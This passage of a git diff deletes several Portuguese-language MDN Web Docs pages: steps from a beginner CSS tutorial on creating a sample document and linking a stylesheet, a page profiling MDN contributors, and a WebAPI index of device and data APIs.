- <td>CSS não serve apenas para navegadores e apresentação visual. Em uma terminologia formal de CSS, o programa que apresenta um documento ao usuário é chamado de <em>agente usuário</em> (UA - User Agent). Um navegador é apenas um tipo de UA. Entretanto, na Parte I deste tutorial você irá trabalhar apenas com CSS em um navegador.
- <p>Para mais definições formais de terminologia sobre CSS, consulte <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definitions</a> na CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="A.C3.A7.C3.A3o:_Criando_um_documento" name="A.C3.A7.C3.A3o:_Criando_um_documento">Ação: Criando um documento</h3>
-
-<p>Utilize seu computador para criar um novo diretório e um novo arquivo de texto dentro dele. O arquivo irá conter seu documento.</p>
-
-<p>Copie e cole o código HTML mostrado abaixo. Salve o arquivo utilizando o nome <code>doc1.html</code></p>
-
-<div style="width: 40em;">
-<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;title&gt;Documento de amostra&lt;/title&gt;
- &lt;/head&gt;
-
- &lt;body&gt;
- &lt;p&gt;
- &lt;strong&gt;C&lt;/strong&gt;ascading
- &lt;strong&gt;S&lt;/strong&gt;tyle
- &lt;strong&gt;S&lt;/strong&gt;heets
- &lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div>
-
-<p>Em seu navegador, abra uma aba ou uma nova janela, e abra o arquivo do diretório.</p>
-
-<p>Você deve ver o texto com as iniciais em negrito, conforme abaixo:</p>
-
-<table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<p>O que você vê em seu navegador pode não ser exatamente como o exibido aqui, por causa das configurações de seu navegador e deste wiki. Se houver diferenças na fonte, espaçamento ou cor, não há importância.</p>
-
-<h4 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h4>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/O_que_%C3%A9_CSS" title="Talk:pt/CSS/Como_começar/O_que_é_CSS">Discussão</a>.</p>
-
-<p>Seu documento ainda não utiliza CSS. Na página a seguir você utilizará CSS para especificar o estilo: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Porque_usar_CSS" title="pt/CSS/Como_começar/Porque_usar_CSS">Porque usar CSS</a></strong></p>
-
-<p>{{Next("CSS:Como começar:Porque usar CSS")}}</p>
diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html
deleted file mode 100644
index 7a412579a8..0000000000
--- a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Porque usar CSS
-slug: >-
- conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/First_steps/How_CSS_works
-translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS
-original_slug: Web/CSS/Como_começar/Porque_usar_CSS
----
-<p>{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}</p>
-
-<p>Esta página explica porque os documentos usam CSS. Você usa CSS para adicionar uma folha de estilo ao seu documento de amostra.</p>
-
-<h2 id="Informa.C3.A7.C3.B5es:_Por_que_usar_CSS.3F" name="Informa.C3.A7.C3.B5es:_Por_que_usar_CSS.3F">Informações: Por que usar CSS?</h2>
-
-<p>CSS ajuda a manter o conteúdo das informações de um documento separado dos detalhes de como exibí-lo. Os detalhes de como exibir o documento são conhecidos como <em>estilo</em>. Você mantém o estilo separado do conteúdo, de modo que você pode:</p>
-
-<ul>
- <li>Evitar duplicação</li>
- <li>Tornar a manutenção mais fácil</li>
- <li>Utilizar o conteúdo com diferentes estilos para diferentes propósitos</li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Seu Web site pode ter milhares de páginas similares. Utilizando CSS, você armazena as informações em arquivos comuns que todas as páginas compartilham.
- <p>Quando um usuário exibe uma página da Web, o navegador do usuário carrega as informações de estilo junto com o conteúdo da página.</p>
-
- <p>Quando um usuário imprime uma página da Web, você fornece informações de estilo diferentes que tornam a página impressa mais fácil de ler.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Geralmente, com CSS, você utiliza a linguagem de marcação para descrever o conteúdo das informações do documento, não seu estilo. Você utiliza CSS para especificar o estilo, não o conteúdo. (Posteriormente neste tutorial, você verá algumas exceções deste método.)</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Uma linguagem de marcação, como o HTML, também fornece alguns modos de especificar o estilo.
- <p>Por exemplo, em HTML, você pode usar uma tag <code>&lt;b&gt;</code> para tornar o texto negrito, e você pode especificar a cor do segundo plano de uma página na tag <code>&lt;body&gt;</code>.</p>
-
- <p>Ao utilizar CSS, você normalmente evita utilizar esses recursos da linguagem de marcação para que todas as informações de estilo de seu documento estejam em um só lugar.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Criando_uma_folha_de_estilo" name="A.C3.A7.C3.A3o:_Criando_uma_folha_de_estilo">Ação: Criando uma folha de estilo</h2>
-
-<p>Crie outro arquivo de texto no mesmo diretório do anterior. Este arquivo será sua folha de estilo. Nomeie-o como: <code>style1.css</code></p>
-
-<p>Em seu arquivo CSS, copie e cole esta única linha, então salve o arquivo:</p>
-
-<div style="width: 40em;">
-<pre class="eval">strong {color: red;}
-</pre>
-</div>
-
-<h4 id="Ligando_seu_documento_.C3.A0_sua_folha_de_estilo" name="Ligando_seu_documento_.C3.A0_sua_folha_de_estilo">Ligando seu documento à sua folha de estilo</h4>
-
-<p>Para ligar seu documento com sua folha de estilo, edite seu aquivo HTML. Adicione a linha mostrada aqui em negrito:</p>
-
-<div style="width: 40em; color: gray;">
-<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
- &lt;HEAD&gt;
- &lt;TITLE&gt;Documento de amostra&lt;/TITLE&gt;
- <strong style="color: black;">&lt;LINK rel="stylesheet" type="text/css" href="style1.css"&gt;</strong>
- &lt;/HEAD&gt;
- &lt;BODY&gt;
- &lt;P&gt;
- &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
- &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
- &lt;STRONG&gt;S&lt;/STRONG&gt;heets
- &lt;/P&gt;
- &lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Salve o arquivo e atualize a tela do seu navegador. A folha de estilo fez as letras iniciais aparecerem em vermelha, como isto:</p>
-
-<table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Além do vermelho, CSS permite algumas outras cores com nomes.
- <p>Sem olhar um referência, ache mais cinco nomes de cores que trabalham em sua folha de estilo.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Porque_usar_CSS" title="Talk:pt/CSS/Como_começar/Porque_usar_CSS">Discussão</a>.</p>
-
-<p>Agora você tem um documento de amostra ligado a uma folha de estilo separada, você está pronto para ler mais sobre como seu navegador combina-os quando exibe o documento na tela: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Como_o_CSS_trabalha" title="pt/CSS/Como_começar/Como_o_CSS_trabalha">Como o CSS trabalha</a></strong>.</p>
-
-<p>{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}</p>
diff --git a/files/pt-pt/conflicting/mdn/contribute/index.html b/files/pt-pt/conflicting/mdn/contribute/index.html
deleted file mode 100644
index 7d491bd72f..0000000000
--- a/files/pt-pt/conflicting/mdn/contribute/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Contribuir para a MDN
-slug: conflicting/MDN/Contribute
-tags:
- - Metadados MDN
- - Mozilla
- - contribuir
-translation_of: MDN_at_ten/Contributing_to_MDN
-original_slug: MDN_at_ten/Contribuir_para_MDN
----
-<div class="column-container">
-<div class="column-8">
-<h2 id="O_processo_de_contribuição">O processo de contribuição</h2>
-
-<p>Contributing to MDN is easy, and there are two ways you can get started. Do you see a page you can make better (by fixing a typo, or adding new information, or fixing technical errors)? Just click the big blue "Edit" button at the top of the page. Do you know something that we don’t cover yet? Just<a href="/MDN/Contribute/Creating_and_editing_pages#Creating_a_new_page"> create a new page</a>; our community of amazing reviewers and editors will ensure that your page matches our<a href="/MDN/Contribute/Guidelines/Writing_style_guide"> style guide</a> and is in the right place on the site. No stress over getting it "just right." Everyone can help make the Web a better place.</p>
-</div>
-
-<div class="column-4">
-<div class="promo10 promo10-globe">
-<div class="promo10-text">
-<h3 id="Junte-se_a_nós!">Junte-se a nós!</h3>
-
-<p>Junte-se a nós, para ensinar o mundo a desenvolver a <em>Web</em> aberta!</p>
-
-<p><a class="learnmore" href="https://developer.mozilla.org/pt-PT/docs/MDN/Intrudu%C3%A7%C3%A3o">Junte-se hoje</a></p>
-</div>
-</div>
-</div>
-</div>
-
-<div class="column-container">
-<div class="column-8">
-<h2 id="Uma_amostragem_de_perfis_de_colaborador">Uma amostragem de perfis de colaborador</h2>
-
-<p>MDN is made up of a vast community of contributors. While we can't offer profiles of all of them (we'd be here for a very long time!), we can share something about a few of the ones who have made substantial or important contributions, as well as those who are most likely to be available on the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> to help you out if you could use some assistance with your contributions.</p>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Chris_Blizzard_Antigo_Diretor_de_Evangelismo_Mozilla">Chris Blizzard<br>
- <small>Antigo Diretor de Evangelismo, Mozilla</small></h3>
-
-<p><a href="/profiles/Blizzard">Blizzard</a> oversaw and drove Mozilla Developer Center's transition from focusing on Mozilla-specific material to a community-maintained resource useful to a variety of Web developers.</p>
-
-<h3 id="Nickolay_Ponomarev_Voluntário">Nickolay Ponomarev<br>
- <small>Voluntário</small></h3>
-
-<p><a href="/profiles/Nickolay">Nickolay</a> <span class="author-p-1669">was one of the earliest contributors, helping with the initial DevEdge clean-up effort. He has continued contributing in many areas, both for Web standards and Mozilla products, ever since</span>.</p>
-
-<h3 id="Andrew_Overholt_Gestor_de_Engenheiros">Andrew Overholt<br>
- <small>Gestor de Engenheiros</small></h3>
-
-<p><a href="/profiles/Overholt">Andrew</a><span class="author-g-l0xhvihafq5iyoyt"> leads developers on the Web API team. As part of his job, he encourages all DOM and API developers to help make sure documentation is great by providing information the writing team needs, reviewing documentation, and assisting with sample code. This example makes the MDN team very, very happy.</span></p>
-
-<h3 id="Jérémie_Patonnier_Gestor_de_Projeto">Jérémie Patonnier<br>
- <small>Gestor de Projeto</small></h3>
-
-<p><a href="/profiles/Jeremie">Jérémie</a> began contributing to MDN in 2011 by documenting SVG properties, because he needed this information for his own work. Jérémie has become a leader in the MDN French community, hosting regular "Mercredi Docs" (Wednesday Docs) sessions in the Mozilla Paris office. Currently, he is leading efforts to create the <a href="/en-US/Learn">Learning area</a> and to improve and regularize browser compatibility data across MDN.</p>
-
-<h3 id="Julien_Sphinx_Voluntário"><span id="Julien_Sphinx_Volunteer">Julien (Sphinx)</span><br>
- <small>Voluntário</small></h3>
-
-<p><a href="/en-US/profiles/SphinxKnight">Julien</a> contributed the "lion's share" of effort to translate the entire JavaScript section of MDN into French. Many other contributors also helped in this effort, but Julien spent many nights and weekends over several months, translating JavaScript articles.</p>
-
-<h3 id="Jeff_Walden_Engenheiro_de_Software_JavaScript_Engine">Jeff Walden<br>
- <small>Engenheiro de Software, <em>JavaScript Engine</em></small></h3>
-
-<p><a href="/profiles/Waldo">Jeff Walden</a> <span class="author-p-1669">is </span><span class="author-g-jkiyvakmsbole3bz122z">now on the SpiderMonkey team, who has contributed to MDN since its beginning, and across many topic areas, including <a href="/en-US/docs/Mozilla/XPCOM">XPCOM</a>, Mozilla build and test, <a href="/en-US/docs/en-US/javascript">JavaScript</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, and more</span>.</p>
-</div>
-
-<div class="column-half">
-<h3 id="Priyanka_Nag_Voluntária">Priyanka Nag<br>
- <small>Voluntária</small></h3>
-
-<p><a href="/profiles/Priyanka13">Priyanka Nag</a> joined MDN in 2012, but she became active with the MDN community only after the Mozilla Summit in 2013, where she met and worked with Luke Crouch and David Walsh from the MDN development team; this acted as her main inspiration to start contributing to MDN. Priyanka mainly enjoys evangelizing MDN, hosting MDN events and introducing more people to MDN, along with making some edits on the wiki at times. She is currently working as a Technical writer at Red Hat and she proudly claims that her interest in technical writing started through her MDN contributions, which ended up influencing her career decision in a great way.</p>
-
-<h3 id="Saurabh_Nair_Voluntário">Saurabh Nair<br>
- <small>Voluntário</small></h3>
-
-<p><a href="/profiles/jsx">Saurabh</a> has been contributing to MDN since 2011, and became more active in the last year. He is on the “spam watch” team, who look out for spam pages, deleting them and banning the spammers as soon as they appear. Since he lives in India, he can do this while MDN staff members in Europe and North America are sleeping.</p>
-
-<h3 id="Eric_Shepherd_Sheppy_Escritor_Técnico_Sénior">Eric Shepherd (Sheppy)<br>
- <small>Escritor Técnico Sénior</small></h3>
-
-<p>{{UserLink("Sheppy")}} was the first full-time writer hired by Mozilla to work exclusively on developer documentation, starting way back on April 3, 2006. He writes about anything that needs coverage, including stuff nobody else wants anything to do with. Over the years, he's written extensively about everything from Add-ons to XUL.</p>
-
-<h3 id="Sebastian_Zartner_Voluntário">Sebastian Zartner<br>
- <small>Voluntário</small></h3>
-
-<p><a href="/en-US/profiles/sebastianz">Sebastian</a>'s first contributions to MDN were in 2007, to German translations, but he soon started working on English ones. He has contributed a lot to both the content and structure of the CSS reference, including creating a JSON API for CSS pages, and macros using this API.</p>
-</div>
-</div>
-</div>
-
-<div class="column-4">{{TenthCampaignQuote(7)}} {{TenthCampaignQuote(5)}}</div>
-</div>
diff --git a/files/pt-pt/conflicting/web/api/index.html b/files/pt-pt/conflicting/web/api/index.html
deleted file mode 100644
index 452ffbbf56..0000000000
--- a/files/pt-pt/conflicting/web/api/index.html
+++ /dev/null
@@ -1,215 +0,0 @@
----
-title: WebAPI
-slug: conflicting/Web/API
-tags:
- - Aplicações
- - Apps
- - DOM
- - Firefos OS
- - Movel
-translation_of: Web/API
-translation_of_original: WebAPI
-original_slug: Web/WebAPI
----
-<p><strong>WebAPI</strong> é um termo utilizado para referir um conjunto de compatibilidade de dispositivo e APIs de acesso que permitem que as aplicações da Web e o conteúdo acedam ao dispositivo de hardware (tais como estado da bateria ou hardware de vibração do dispositivo), bem como aceder aos dados guardados no dispositivo (tais como o calendário ou lista de contactos). Ao adicionarmos estas APIs, nós esperamos que expanda o que a <em>Web</em> pode fazer hoje, para também incluirem o que apenas as plataformas proprietárias podiam fazer no passado.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> para uma breve explicação de cada distintivo, por favor, consulte a documentação <a href="/pt-PT/docs/Mozilla/Marketplace/Options/Aplicacoes_empacotadas#Tipos_de_aplicações_empacotadas" title="Web/Apps/Packaged_apps#Types_of_packaged_apps">pdas aplicações empacotadas</a>.</p>
-</div>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Communication_APIs" name="Communication_APIs">APIs de Comunicação</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">Network Information API</a></dt>
- <dd>Provides basic information about the current network connection, such as connection speed.</dd>
- <dt><a href="/en-US/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth">Bluetooth</a> {{NonStandardBadge}}</dt>
- <dd>The WebBluetooth API provides low-level access to the device's Bluetooth hardware.</dd>
- <dt><a href="/en-US/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">Mobile Connection API</a> {{NonStandardBadge}}</dt>
- <dd>Exposes information about the device's cellular connectivity, such as signal strength, operator information, and so forth.</dd>
- <dt><a href="/en-US/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">Network Stats API</a> {{NonStandardBadge}}</dt>
- <dd>Monitors data usage and exposes this data to privileged applications.</dd>
- <dt><a href="/en-US/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telephony</a> {{NonStandardBadge}}</dt>
- <dd>Lets apps place and answer phone calls and use the built-in telephony user interface.</dd>
- <dt><a href="/en-US/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS </a>{{NonStandardBadge}}</dt>
- <dd>Lets apps send and receive SMS text messages, as well as to access and manage the messages stored on the device.</dd>
- <dt><a href="/en-US/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">WiFi Information API</a> {{NonStandardBadge}}</dt>
- <dd>A privileged API which provides information about signal strength, the name of the current network, available WiFi networks, and so forth.</dd>
-</dl>
-
-<h2 class="Documentation" id="Hardware_access_APIs" name="Hardware_access_APIs">APIs de acesso ao hardware</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light Sensor API</a></dt>
- <dd>Provides access to the ambient light sensor, which lets your app detect the ambient light level in the vicinity of the device.</dd>
- <dt><a href="/en-US/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">Battery Status API</a></dt>
- <dd>Provides information about the battery's charge level and whether or not the device is currently plugged in and charging.</dd>
- <dt><a href="/en-US/docs/Using_geolocation" title="Using_geolocation">Geolocation API</a></dt>
- <dd>Provides information about the device's physical location.</dd>
- <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
- <dd>Lets apps lock access to the mouse and gain access to movement deltas rather than absolute coordinates; this is great for gaming.</dd>
- <dt><a href="/en-US/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a></dt>
- <dd>Lets you detect proximity of the device to a nearby object, such as the user's face.</dd>
- <dt><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a></dt>
- <dd>Provides notifications when the device's orientation changes.</dd>
- <dt><a href="/en-US/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a></dt>
- <dd>Provides notifications when the screen's orientation changes. You can also use this API to let your app indicate what orientation it prefers.</dd>
- <dt><a href="/en-US/docs/WebAPI/Vibration" title="WebAPI/Vibration">Vibration API</a></dt>
- <dd>Lets apps control the device's vibration hardware for things such as haptic feedback in games. This is <strong>not</strong> intended for things such as notification vibrations. See the <a href="/en-US/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a> for that.</dd>
- <dt><a href="/en-US/docs/WebAPI/Camera" title="WebAPI/Camera">Camera API</a> {{NonStandardBadge}}</dt>
- <dd>Allows apps to take photographs and/or record video using the device's built-in camera.</dd>
- <dt><a href="/en-US/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">Power Management API </a>{{NonStandardBadge}}</dt>
- <dd>Lets apps turn on and off the screen, CPU, device power, and so forth. Also provides support for listening for and inspecting resource lock events.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/WebAPI" title="tag/CSS">View All...</a></span></p>
-</div>
-
-<div class="section">
-<h2 class="Documentation" id="Data_management_APIs" name="Data_management_APIs">APIs de gestão de dados</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a> {{NonStandardBadge}}</dt>
- <dd>Provides support for writable files with locking support.</dd>
- <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
- <dd>Client-side storage of structured data with support for high-performance searches.</dd>
- <dt><a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a> {{NonStandardBadge}}</dt>
- <dd>Lets apps examine and change system-wide configuration options that are permanently stored on the device.</dd>
-</dl>
-
-<h2 class="Documentation" id="Other_APIs" name="Other_APIs">Outras APIs</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a></dt>
- <dd>Lets apps schedule notifications. Also provides support for automatically launching an app at a specific time.</dd>
- <dt><a href="/en-US/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a></dt>
- <dd>Lets the platform send notification messages to specific applications.</dd>
- <dt><a href="/en-US/docs/Web/API/Push_API">Push API</a></dt>
- <dd>Gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.</dd>
- <dt><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Web Notifications</a></dt>
- <dd>Lets applications send notifications displayed at the system level.</dd>
- <dt><a href="/en-US/docs/Web/API/Apps" title="Apps">Apps API</a> {{NonStandardBadge}}</dt>
- <dd>The Open WebApps API provides support for installing and managing Web apps. In addition, support is provided to let apps determine payment information.</dd>
- <dt><a href="/en-US/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a> {{NonStandardBadge}}</dt>
- <dd>Lets an app delegate an activity to another app; for example, an app might ask another app to select (or create) and return a photo. Typically the user is able to configure what apps are used for which activities.</dd>
- <dt><a href="/en-US/docs/Apps/Publishing/In-app_payments" title="Apps/Publishing/In-app_payments">WebPayment API</a> {{NonStandardBadge}}</dt>
- <dd>Lets Web content initiate payments and refunds for virtual goods.</dd>
- <dt><a href="/en-US/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API"><strong>Browser API</strong></a> {{NonStandardBadge}}</dt>
- <dd>Provides support for building a Web browser completely using Web technologies (in essence, a browser within a browser).</dd>
-</dl>
-
-<dl>
- <dt><a href="/en-US/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a></dt>
- <dd>Lets apps receive notifications when the user is not actively using the device.</dd>
- <dt><a href="/en-US/docs/WebAPI/Permissions" title="WebAPI/Permissions">Permissions API</a> {{NonStandardBadge}}</dt>
- <dd>Manages app permissions in a centralized location. Used by the Settings app.</dd>
- <dt><a href="/en-US/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">Time/Clock API</a> {{NonStandardBadge}}</dt>
- <dd>Provides support for setting the current time. The time zone is set using the <a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a>.</dd>
-</dl>
-
-<h2 class="Community" id="Community" name="Community">Comunidade de WebAPI</h2>
-
-<p>If you need help with these APIs, there are several ways you can talk to other developers making use of them.</p>
-
-<ul>
- <li>Consult the WebAPI forum: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}</li>
- <li>Visit the WebAPI IRC channel: <a href="irc://irc.mozilla.org/webapi" title="irc://irc.mozilla.org/webapi">#webapi</a></li>
-</ul>
-
-<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Não se esqueça sobre a <em>netiquette</em>...</a></span></p>
-
-<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Tópicos Relacionados</h2>
-
-<ul>
- <li>O <a href="/pt-PT/docs/DOM/DOM_Reference" title="Document Object Model (DOM)">Modelo de Objeto de Documento (DOM)</a> é a representação de um documento HTML como uma árvore.</li>
- <li><a href="/pt-PT/docs/Web/JavaScript" title="JavaScript">JavaScript</a> - Linguagem de <em>scripting para a </em>Web.</li>
- <li><a href="/pt-PT/docs/MDN/Doc_status/API" title="WebAPI/Doc_status">Estado do documento</a>: Uma lista dos tópicos de WebAPI e o seu estado da documentação.</li>
-</ul>
-</div>
-</div>
-
-<p> </p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: 0% 0% repeat scroll rgba(0, 0, 0, 0); opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option 